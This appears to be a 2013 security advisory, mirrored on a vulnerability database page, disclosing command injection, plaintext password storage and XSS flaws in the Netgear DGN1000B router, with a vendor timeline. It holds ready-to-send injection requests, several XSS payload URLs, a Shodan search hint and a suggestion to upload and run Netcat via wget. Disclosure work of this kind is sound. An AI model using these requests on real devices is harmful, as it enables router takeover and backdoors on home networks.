Lucene search
K

Netgear DGN1000B XSS / Command Injection

🗓️ 08 Feb 2013 00:00:00Reported by Michael MessnerType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 23 Views

Netgear DGN1000B vulnerability: XSS, Command Injection, Insecure Cryptographic Storag

Code
`Device Name: DGN1000B  
Vendor: Netgear  
  
============ Vulnerable Firmware Releases: ============  
  
Firmwareversion: V1.1.00.24  
Firmwareversion: V1.1.00.45  
  
Download: http://downloadcenter.netgear.com/de/product/DGN1000  
  
============ Device Description: ============  
  
The N150 Wireless ADSL2+ Modem Router DGN1000 provides you with an easy and secure way to set up a wireless home network with fast access to the Internet over a high-speed digital subscriber line (DSL). The N150 Modem Router has a built-in DSL modem and is compatible with all major DSL Internet service providers. The security features let you block unsafe Internet content and applications, and protect the devices that you connect to your home network.  
  
Source: http://support.netgear.com/product/DGN1000  
  
============ Shodan Torks ============  
  
Shodan Search: NETGEAR DGN1000  
  
============ Vulnerability Overview: ============  
  
* OS Command Injection in the UPNP configuration:  
  
The vulnerability is caused by missing input validation in the TimeToLive parameter and can be exploited to inject and execute arbitrary shell commands. It is possible to upload and execute a backdoor to compromise the device.  
  
Param: TimeToLive  
POST /setup.cgi HTTP/1.1  
Host: 192.168.178.188  
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:14.0) Gecko/20100101 Firefox/14.0.1  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: de-de,de;q=0.8,en-us;q=0.5,en;q=0.3  
Accept-Encoding: gzip, deflate  
Proxy-Connection: keep-alive  
Referer: http://192.168.178.188/setup.cgi?next_file=upnp.htm  
Authorization: Basic XXX  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 185  
Connection: close  
  
UPnP=UPnP&AdverTime=30&TimeToLive=`%20COMMAND%20`&save=+Anwenden&todo=save&this_file=upnp.htm&next_file=upnp.htm&h_UPnP=enable&hiddenAdverTime=30&hiddenTimeToLive=4  
  
Change the Request Methode from HTTP Post to HTTP GET:  
  
http://192.168.178.188/setup.cgi?UPnP=UPnP&AdverTime=30&TimeToLive=`%20COMMAND%20`&save=+Anwenden&todo=save&this_file=upnp.htm&next_file=upnp.htm&h_UPnP=enable&hiddenAdverTime=30&hiddenTimeToLive=4  
  
  
It is possible to cross compile Netcat and upload it via wget, adjust the permissions and execute it. Have phun ;)  
  
Sources including needed toolchain: http://kb.netgear.com/app/answers/detail/a_id/2649  
direct download: http://www.downloads.netgear.com/files/GPL/DGN1000B_VB1.00.45_GR_src.tar...  
  
Screenshot: http://www.s3cur1ty.de/sites/www.s3cur1ty.de/files/images/DGN1000B-os-command-wget-check.png  
Screenshot: http://www.s3cur1ty.de/sites/www.s3cur1ty.de/files/images/DGN1000B-r00ted.png  
  
* Insecure Cryptographic Storage:  
  
There is no password hashing implemented and so it is saved in plain text on the system:  
cat /tmp/etc/htpasswd  
admin:password  
  
* XSS  
  
Injecting scripts into the following parameters reveals that these parameters are not properly validated for malicious input. You need to be authenticated or you have to find other methods for inserting the malicious JavaScript code.  
  
-> Sicherheit -> Dienste -> neuen Dienst anlegen -> Dienstname  
  
Param: service_name  
  
http://192.168.178.188/setup.cgi?service_name=%22%3E%3Cimg%20src=%220%22%20onerror=alert%282%29%3E&svc_type=tcp&serv_sport=1&serv_endport=2&save=Anwenden&todo=save&h_svc_type=tcp&edit=1&h_ruleSelect=0&this_file=servinfo.htm&next_file=fw_serv.htm  
  
-> WLAN -> Zugriffsliste anpassen -> Hinzufügen -> Gerätename  
  
Param: device  
  
http://192.168.178.188/setup.cgi?accessLimit=accessLimit&device=%22%3E%3Cimg+src%3D%220%22+onerror=alert(2)>&wirelist_mac=01-11-22-33-44-66&h_accessLimit=enable&h_ruleSelect=0&todo=addmanual&this_file=m_access.htm&next_file=m_access.htm  
  
Param: ssid_num  
  
http://192.168.178.188/setup.cgi?next_file=adv_wireless.htm&ssid_num=a%22%3E%3Cscript%3Ealert%281%29%3C/script%3E&flag=1  
  
Param: h_skeyword  
  
http://192.168.178.188/setup.cgi?skeyword=1&cfKeyWord_Domain=&KeyWordList=0&todo=delete&this_file=keyword.htm&next_file=keyword.htm&h_skeyword=115bcf%22%3E%3Cscript%3Ealert%281%29%3C/script%3Edc575b170bc38bebe&h_KeyWordList=&h_ruleSelect=0&h_trustipenable=disable&c4_Trusted_IPAddress=  
  
Param: cfKeyWord_Domain  
  
http://192.168.178.188/setup.cgi?skeyword=1&cfKeyWord_Domain=5d0a9%3Cscript%3Ealert%281%29%3C/script%3E&todo=addkeyword&this_file=keyword.htm&next_file=keyword.htm&h_skeyword=1&h_KeyWordList=&h_ruleSelect=&h_trustipenable=disable&c4_Trusted_IPAddress=  
  
============ Solution ============  
  
No known solution available.  
  
============ Credits ============  
  
The vulnerability was discovered by Michael Messner  
Mail: devnull#at#s3cur1ty#dot#de  
Web: http://www.s3cur1ty.de  
Advisory URL: http://www.s3cur1ty.de/m1adv2013-005  
Twitter: @s3cur1ty_de  
  
============ Time Line: ============  
  
October 2012 - discovered vulnerability  
15.10.2012 - Privately reported all details to vendor via email  
23.10.2012 - Privately reported all details to vendor via webinterface  
24.10.2012 - Netgear replied to forward the details internally  
31.10.2012 - Netgear closes the case  
31.10.2012 - Requested more details why the case is now closed.  
31.10.2012 - Netgear responded that they will check the state of the case  
06.11.2012 - Netgear requested the Serial Number of the device  
08.11.2012 - Responded with the Serial Number  
13.11.2012 - something goes on - I got a product registration confirmation  
03.12.2012 - Case closed by Netgear - No new firmware available  
16.01.2013 - Netgear contacted me again requesting to check a Beta version  
22.01.2013 - Tested Beta Firmware and gave feedback to vendor  
06.02.2013 - public release  
  
===================== Advisory end =====================  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation